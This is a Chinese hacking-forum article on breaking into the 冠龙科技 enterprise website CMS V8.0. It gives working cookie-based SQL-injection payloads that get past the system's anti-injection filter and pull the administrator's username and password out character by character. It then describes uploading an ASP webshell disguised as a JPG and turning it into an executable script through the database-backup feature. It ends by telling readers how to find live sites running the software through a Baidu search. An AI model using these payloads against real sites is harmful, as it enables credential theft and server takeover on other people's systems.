冠龙科技企业网站管理系统V8.0 安全测试
文章作者:樱花浪子[I.S.T]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
注意:文章首发IST,后由原创作者友情提交到邪恶八进制信息安全团队,转载请注明原始链接IST。
近日有朋友想做一套整站程序,在网上下了一套“冠龙科技企业网站管理系统V8.0”
叫我帮看看程序安全如何。当然是先看注入了。在shownews.asp文件代码如下:
<%owen=request("id")%>
...(省略若干代码)
<%
Set rsnews=Server.CreateObject("ADODB.RecordSet")
sql="update news set hits=hits+1 where id="&cstr(request("id"))
conn.execute sql
sql="select * from news where id="&owen
rsnews.Open sql,conn,1,1
title=rsnews("title")
if rsnews.eof and rsnews.bof then
response.Write("数据库出错")
else
%>
上面的ID直接用request取得值,下面进入数据库操作,漏洞产生了,可是我在提交
and 1=1的时候让我晕倒,如图1所示。
防注入程序,上面的代码虽然没过虑,可是都被<!–#Include File="inc/Check_Sql.asp"–>
这个文件里的防注入程序给包含了,那有没有办法突破呢?网页文件在接受处理方式的时候一般
是POST或GET两种方式。例如:Request.form或Request.QueryString。而防注入程序3.0是限制
这两种方式提交。却没有限制Request.cookie的方式。也就是我们不用前面两种方式构造注入语句,
而网页文件又没有限制提交方式的这样就算用了防注入程序也是不防注的。大家在看看上面的代码,
<%owen=request("id")%>,直接用request取值,下面带进数据库的也一样的。只要我们构造Request.cookie的方式提交
的语句就可以突破了。我们把图一当中的URL地址去掉,直接在地址栏打上,javascript:alert(document.cookie="id="+escape("40 and 1=1"));
如图2所示。
40是图一的ID值,根据情况换一下。
我们再次访问:http://127.0.0.1/shownews.asp,看看返回什么,如图3。
是和http://127.0.0.1/shownews.asp?id=40一样的。
这是因为我们修改为COOGIE提交方式成功了。我们接着提交:javascript:alert(document.cookie="id="+escape("40 and 1=2"));注意是1=2,
然后在访问http://127.0.0.1/shownews.asp,返回了图4的页面
,1=1为正确的页面,1=2为错误的页面,漏洞又产生了。
接下来构造:
javascript:alert(document.cookie="id="+escape("40 and (select len(username) from admin)=5"));
这是看管理员密码长度是不是6位的,然后我们再访问http://127.0.0.1/shownews.asp,如果返回了图三的页面说明是正确的,
如果返回图四的页面则说明是错误的,我们就要改动后面的数据了,猜密码跟猜用户名是一样的,只是把username改成password,
例如:javascript:alert(document.cookie="id="+escape("40 and (select len(password) from admin)=16"));这是看管理员密码
是不是16位的。
下面继续猜管理员用户名的内容,提交:javascript:alert(document.cookie="id="+escape("40 and (select asc(mid(username,1,1)) from admin)=97"));
如图5,
这是看管理员密码的第一位内容是不是ASC码的a值,如果返回正常页面则说明是正确的,猜管理员密码道理一样,把(mid(username,1,1))改成
(mid(password,1,1))就可以了,猜第二位密码内容把(mid(password,1,1))改成(mid(password,2,1))就可以了,猜出来密码我们进入后台很容易得到WEBSHELL的,
首先在新闻管理——添加新闻内容——里面上传我们扩展为JPG的ASP马儿,然后上传。接着会给出我们路径。如图6所示。
我们拿着这个路径去数据库备份的地方备份一下,见图7,
注意这里一定要写后缀为xx.asp。因为备份成功会是xx.asp.asa格式的,这个和12月心雨的那扁“
攻入南方数据的大门”的备份方式是一样的,最后我们访问的时候也要把asa格式的去掉,最后成功得到WEBSEHLL。图8。
我们去百度搜索:技术支持: 冠龙网络科技有限公司,会找到很多用这套程序的网站,如图9所示。
欢迎大家来NOHACK的论坛和我交流,我的ID是樱花浪子。